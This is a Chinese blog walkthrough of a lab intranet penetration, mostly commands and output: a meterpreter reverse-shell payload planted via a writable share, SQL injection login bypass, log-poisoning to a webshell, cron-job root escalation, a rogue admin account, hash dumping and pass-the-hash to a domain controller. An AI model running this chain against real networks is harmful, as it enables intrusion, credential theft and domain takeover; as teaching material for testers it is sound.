主頁 >  其他 > 一個完整的內網滲透是什么樣子的

一個完整的內網滲透是什么樣子的

2021-08-14 07:00:57 其他

0x00 前言

今天這篇文章將試圖呈現一個完整的內網滲透程序,文章略長,如果感興趣的話,請耐心閱讀!

0x01 案例分析

實驗環境:

  • 目標環境:10.0.0.0/24, 10.0.1.0/24

  • 攻擊主機:10.0.0.5 (Kali), 10.0.0.7 (Windows)

滲透程序:

基本的主機探測:

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt

root@kali:~# cat online.txt | grep -i up

Host: 10.0.0.1 () Status: Up

Host: 10.0.0.2 () Status: Up

Host: 10.0.0.7 () Status: Up

Host: 10.0.0.9 () Status: Up

Host: 10.0.0.11 () Status: Up

Host: 10.0.0.5 () Status: Up

Nmap done at Wed May 30 06:10:17 2018 – 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意選取其中的一個online的IP(如:10.0.0.9)進一步探測:

root@kali:~# nmap -sV -A -O 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00048s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Service

| ssl-cert: Subject: commonName=Monitor

| Not valid before: 2018-05-27T07:03:14

|_Not valid after: 2018-11-26T07:03:14

|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

49165/tcp open msrpc Microsoft Windows RPC

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 1 hop

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: mean: 4s, deviation: 0s, median: 4s

|_nbstat: NetBIOS name: MONITOR, NetBIOS user: , NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)

| smb-os-discovery:

| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)

| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1

| Computer name: Monitor

| NetBIOS computer name: MONITORx00

| Workgroup: WORKGROUPx00

|_ System time: 2018-05-30T06:14:01+00:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

| smb2-time:

| date: 2018-05-30 06:14:01

|_ start_date: 2018-05-30 04:32:09

從以上探測結果可以發現該主機是Windows 2008 R2且開放了SMB和RDP,繼續探測:

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00019s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

Host script results:

| smb-enum-shares:

| account_used: guest

| \10.0.0.9ADMIN$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Remote Admin

| Anonymous access:

| Current user access:

| \10.0.0.9C$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Default share

| Anonymous access:

| Current user access:

| \10.0.0.9IPC$:

| Type: STYPE_IPC_HIDDEN

| Comment: Remote IPC

| Anonymous access: READ

| Current user access: READ/WRITE

| \10.0.0.9Users:

| Type: STYPE_DISKTREE

| Comment:

| Anonymous access:

| Current user access: READ

| \10.0.0.9print$:

| Type: STYPE_DISKTREE

| Comment: Printer Drivers

| Anonymous access:

| Current user access: READ

| \10.0.0.9share:

| Type: STYPE_DISKTREE

| Comment:

| Anonymous access:

|_ Current user access: READ/WRITE

此時,我們發現該主機存在一個可讀寫的share folder \10.0.0.9share:

root@kali:~# smbclient //10.0.0.9/share -N

WARNING: The “syslog” option is deprecated

Try “help” to get a list of possible commands.

smb: > ls

. D 0 Wed May 30 06:16:59 2018

… D 0 Wed May 30 06:16:59 2018

logs.txt A 39404 Wed May 30 06:19:20 2018

processMonitor.py A 576 Mon May 28 06:56:33 2018

7863807 blocks of size 4096. 1680653 blocks available

smb: >

為了進一步了解,登錄我們用于滲透的另一臺Windows主機(10.0.0.7),

image.png

發現,這個共享檔案夾里包含了一個定期監控運行行程的python腳本,

import win32com.client

import datetime

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open(‘c:sharelogs.txt’, ‘a’)

f.write(’{}: {}’.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject(‘winmgmts:’)

for p in wmi.InstancesOf(‘win32_process’):

logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),

int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))

if name == “main”:

process_monitor()

由于該檔案夾可讀寫,我們可以生成并放置一個meterpreter的payload,然后修改該python腳本來執行它,這樣我們就可以得到一個meterpreter session了,

root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python腳本如下:

import win32com.client

import datetime

from subprocess import call

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open(‘c:sharelogs.txt’, ‘a’)

f.write(’{}: {}’.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject(‘winmgmts:’)

for p in wmi.InstancesOf(‘win32_process’):

logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),

int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))

if name == “main”:

process_monitor()

call([“c:shares.exe”])

幾分鐘后,我們順利地獲得了一個meterpreter session了,

msf exploit(handler) > sessions

Active sessions

===============

Id Name Type Information Connection

– ---- ---- ----------- ----------

2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)

meterpreter > getuid

Server username: MONITORAdministrator

meterpreter > sysinfo

Computer : MONITOR

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > ipconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80:💯7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:14:2c:84:e9:d2

MTU : 9001

IPv4 Address : 10.0.0.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::3053:3068:2bf6:272c

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:9

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 20

============

Name : AWS PV Network Device #1

Hardware MAC : 0a:17:b5:cb:d1:ac

MTU : 9001

IPv4 Address : 10.0.1.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::2189:c3cf:68e3:aab9

IPv6 Netmask : ffff:ffff:ffff:ffff::

同時,可以看出這個機器具有多個網卡且橫跨在2個網段中(10.0.0.9/24和10.0.1.9/24),因此,我們也可以利用這個機器做跳板繼續滲透10.0.1.0/24這段里的機器,

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value […]

Local subnet: 10.0.0.0/255.255.255.0

Local subnet: 10.0.1.0/255.255.255.0

meterpreter > background

[*] Backgrounding session 2…

msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2

[*] Route added

msf exploit(handler) > route print

IPv4 Active Routing Table

=========================

Subnet Netmask Gateway

------ ------- -------

10.0.1.0 255.255.255.0 Session 2

[*] There are currently no IPv6 routes defined.

利用auxiliary/scanner/portscan/tcp去掃描10.0.1.0/24段,如下:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24

RHOSTS => 10.0.1.0/24

msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433

PORTS => 22,80,3306,445,3389,139,1433

msf auxiliary(tcp) > set threads 20

threads => 20

msf auxiliary(tcp) > run

[+] 10.0.1.7: - 10.0.1.7:445 - TCP OPEN

[+] 10.0.1.11: - 10.0.1.11:80 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:445 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:139 - TCP OPEN

[+] 10.0.1.11: - 10.0.1.11:22 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:3389 - TCP OPEN

[+] 10.0.1.7: - 10.0.1.7:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN

我們任意選取其中的一臺機器(如:10.0.1.11),我們發現其開放了80和22埠,接下來,我們可以在session 2里設定埠轉發,將攻擊機(10.0.0.5)上的8080埠轉發到目標機(10.0.1.7)上的80埠,方便我們后續的測驗,

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2…

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11

[*] Local TCP relay created: :8080 <-> 10.0.1.11:80

meterpreter > portfwd list

Active Port Forwards

====================

Index Local Remote Direction

----- ----- ------ ---------

1 0.0.0.0:8080 10.0.1.11:80 Forward

1 total active port forwards.

這時,我們再次登錄我們的Windows滲透機器(10.0.0.7)來查看一下這是個什么網站,

image.png

經過測驗發現,這個登錄功能存在SQL Injection,可以通過以下的用戶名和密碼登錄:

username: admin

password: ’ or ‘1’='1

image.png

經過觀察發現,這個網站應該直接本地檔案包含了web服務器的access_log,因此我們可以想到利用檔案包含漏洞來生成一個webshell,具體步驟如下:

1. 發送一個包含webshell代碼的HTTP請求使其被寫入到access_log里, 如一個僅包含上傳功能的php小馬

image.png

2. 訪問http://10.0.0.5:8080/admin.php來檔案包含access_log使其中的php代碼被執行,從獲取一個具備上傳功能的php小馬

image.png

3. 訪問http://10.0.0.5:8080/upload.php并上傳一個功能齊全的PHP webshell

image.png

4. 訪問http://10.0.0.5:8080/shell.php并輸入密碼qwer,則成功地獲取了一個webshell

image.png

利用webshell提供的功能我們發現這只是一個用于運行web service的低權限的用戶(daemon),那么接下來我們需要解決的問題就是本地提權到root權限,

image.png

image.png

如上圖,我們找到了一個777權限的root用戶所擁有的cronjob檔案/etc/cron.hourly/clean_up_access_log,看起來這個腳本似乎是用于定期清理access_log的,因此,我們似乎可以利用它來獲得一個root權限的meterpreter shell,

首先,生成一個Linux的meterpreter payload并通過webshell上傳到目標主機上并添加執行權限;

root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf

system(‘chmod +x /opt/lampp/htdocs/root.elf’);

接著,修改/etc/cron.hourly/clean_up_access_log使其可以執行我們上傳的payload并等待cronjob的下次執行;

system(“echo ‘/opt/lampp/htdocs/root.elf’ >> /etc/cron.hourly/clean_up_access_log”);

最后,我們成功地在目標機器(10.0.1.11)上獲得了一個root權限的meterpreter session,如下:

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp

payload => linux/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.11

RHOST => 10.0.1.11

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (linux/x64/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LPORT 4444 yes The listen port

RHOST 10.0.1.11 no The target address

Exploit target:

Id Name

– ----

0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (802416 bytes) to 10.0.1.11

[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000

meterpreter > sysinfo

Computer : 10.0.1.11

OS : Ubuntu 16.04 (Linux 4.4.0-1060-aws)

Architecture : x64

Meterpreter : x64/linux

meterpreter > getuid

Server username: uid=0, gid=0, euid=0, egid=0

meterpreter > shell

Process 24394 created.

Channel 2 created.

id

uid=0(root) gid=0(root) groups=0(root)

ifconfig

eth0 Link encap:Ethernet HWaddr 0a:3a:ea:dc:8a:44

inet addr:10.0.1.11 Bcast:10.0.1.255 Mask:255.255.255.0

inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1

RX packets:2703 errors:0 dropped:0 overruns:0 frame:0

TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1105355 (1.1 MB) TX bytes:672700 (672.7 KB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:192 errors:0 dropped:0 overruns:0 frame:0

TX packets:192 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1

RX bytes:14456 (14.4 KB) TX bytes:14456 (14.4 KB)

ls -l /root

total 4

-rw------- 1 root root 84 May 25 10:10 readme.txt

利用上面獲得的root權限的meterpreter session,我意外的發現了一個有趣的檔案/root/readme.txt,其中包含了一個遠程FTP(10.0.1.26)的口令和密碼,

cat /root/readme.txt

Credentials for FTP:

  • IP: 10.0.1.26

  • User: ftpadmin

  • Password: nKG6aqwvveFutn$@

既然拿到了這個資訊,我們不妨再次探測一下我們的下一個目標(10.0.1.26),

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.26

RHOSTS => 10.0.1.26

msf auxiliary(tcp) > set threads 50

threads => 50

msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389

PORTS => 1-1025,1433,3306,3389

msf auxiliary(tcp) > run

[+] 10.0.1.26: - 10.0.1.26:21 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:135 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:443 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

果不其然,目標機(10.0.1.26)確實存在一個FTP站點,進入上面獲得的session 2,在目標機10.0.0.9(10.0.1.9)上添加一個管理員賬號:

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2…

meterpreter > shell

Process 1116 created.

Channel 147 created.

Microsoft Windows [Version 6.1.7601]

Copyright ? 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>net user test 1qazxsw2@ /add

net user test 1qazxsw2@ /add

The command completed successfully.

C:Windowssystem32>net localgroup administrators test /add

net localgroup administrators test /add

The command completed successfully.

C:Windowssystem32>

接著RDP到目標主機10.0.0.9(10.0.1.9)上,并嘗試使用已經獲取的口令登錄,

image.png

結果顯示,我們成功地登錄了該FTP站點,且具備讀寫權限,另外,我們還發現該FTP為目標機10.0.1.26上的一個web站點的根目錄,因此,我們可以通過該FTP輕松地上傳一個webshell.php檔案,如下:

image.png

有了webshell我們便可以上傳一個meterpreter payload來獲取一個功能強大的meterpreter session了,

msf auxiliary(tcp) > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.26

RHOST => 10.0.1.26

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/x64/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: ‘’, seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST 10.0.1.26 no The target address

Exploit target:

Id Name

– ----

0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (205379 bytes) to 10.0.1.26

[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000

meterpreter > sysinfo

Computer : IT-MANAGE-PC

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : GBOX

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80:💯7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:d9:e6:59:35:f0

MTU : 9001

IPv4 Address : 10.0.1.26

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::4171:a218:74ca:871f

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:11a

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

同時,我們發現目標機(10.0.1.26)是一個加入了GBOX域的機器,且DNS服務器的IP是10.0.1.7:

meterpreter > shell

Process 4080 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright ? 2009 Microsoft Corporation. All rights reserved.

C:xampphtdocs>ipconfig -all

ipconfig -all

Windows IP Configuration

Host Name . . . . . . . . . . . . : IT-MANAGE-PC

Primary Dns Suffix . . . . . . . : gbox.com

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com

ec2.internal

us-east-1.ec2-utilities.amazonaws.com

compute-1.internal

us-west-2.compute.internal

gbox.com

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix . : us-west-2.compute.internal

Description . . . . . . . . . . . : AWS PV Network Device #0

Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0

DHCP Enabled. . . . . . . . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)

IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM

Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM

Default Gateway . . . . . . . . . : 10.0.1.1

DHCP Server . . . . . . . . . . . : 10.0.1.1

DHCPv6 IAID . . . . . . . . . . . : 302649180

DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E

DNS Servers . . . . . . . . . . . : 10.0.1.7

NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.us-west-2.compute.internal:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . : us-west-2.compute.internal

Description . . . . . . . . . . . : Microsoft ISATAP Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 11:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

那么接下來,我們的下一個目標就是IP為10.0.1.7的域控服務器了,

經過一系列測驗,發現目標機似乎只接受來自IP10.0.1.26(Session 5)的流量,因此我們需要先添加一個專門的路由使我們的攻擊機(10.0.0.5)流量可以抵達目標主機(10.0.1.7),

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5

msf exploit(psexec) > route print

IPv4 Active Routing Table

=========================

Subnet Netmask Gateway

------ ------- -------

10.0.1.0 255.255.255.0 Session 2

10.0.1.7 255.255.255.255 Session 5

[*] There are currently no IPv6 routes defined.

首先,搜集利用hashdump命令收集一下主機10.0.1.26的所有密碼Hash:

msf exploit(handler) > sessions 5

[*] Starting interaction with 5…

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::

gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

接著,我們可以嘗試使用Pass The Hash來測驗一下我們的目標機(10.0.1.7),并成功地拿下了該域控服務器,

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 10.0.1.7 yes The target address

RPORT 445 yes The SMB service port (TCP)

SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN , C ,C ,C,…) or a normal read/write folder share

SMBDomain gbox no The Windows domain to use for authentication

SMBPass aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f no The password for the specified username

SMBUser gamebox no The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique (Accepted: ‘’, seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST 10.0.1.7 no The target address

Exploit target:

Id Name

– ----

0 Automatic

msf exploit(psexec) > run

[*] 10.0.1.7:445 - Connecting to the server…

[*] Started bind handler

[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user ‘gamebox’…

[*] 10.0.1.7:445 - Selecting PowerShell target

[*] 10.0.1.7:445 - Executing the payload…

[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable…

[*] Sending stage (205379 bytes) to 10.0.1.7

[*] Meterpreter session 6 opened (10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000

meterpreter > sysinfo

Computer : DC

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : GBOX

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80:💯7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:ee:ba:e9:01:22

MTU : 9001

IPv4 Address : 10.0.1.7

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::c907:5309:68a2:b1b8

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:107

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

至此,我們已經成功地拿下了所有實驗環境下的主機控制權限,

msf exploit(psexec) > sessions

Active sessions

===============

Id Name Type Information Connection

– ---- ---- ----------- ----------

2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)

4 meterpreter x64/linux uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11 10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)

5 meterpreter x64/windows NT AUTHORITYSYSTEM @ IT-MANAGE-PC 10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)

6 meterpreter x64/windows NT AUTHORITYSYSTEM @ DC 10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小結

本文重點介紹了一個相對完整的內網滲透程序(即:外網主機-內網主機-內網域內主機-內網域控服務器),當然,這只是個簡單的實驗環境,實際實戰中遇到的情況會比這復雜很多(比如:各種反病毒程式的bypass,內網反入侵系統的檢測的繞過等等),但是基本思路和方法都是類似和想通的,另外,因筆者水平有限,文中表達不當或者不正確的地方,也敬請諒解和指正,

需要網路安全學習視頻,全套工具包、滲透測驗書籍、src技術檔案、應急回應、CTF、逆向等資源【點我領取】

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293519.html

標籤:其他

上一篇:滲透學習筆記 之 nmap 與 crunch

下一篇:【網路安全】-- 我眼中的物聯網蜜罐

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

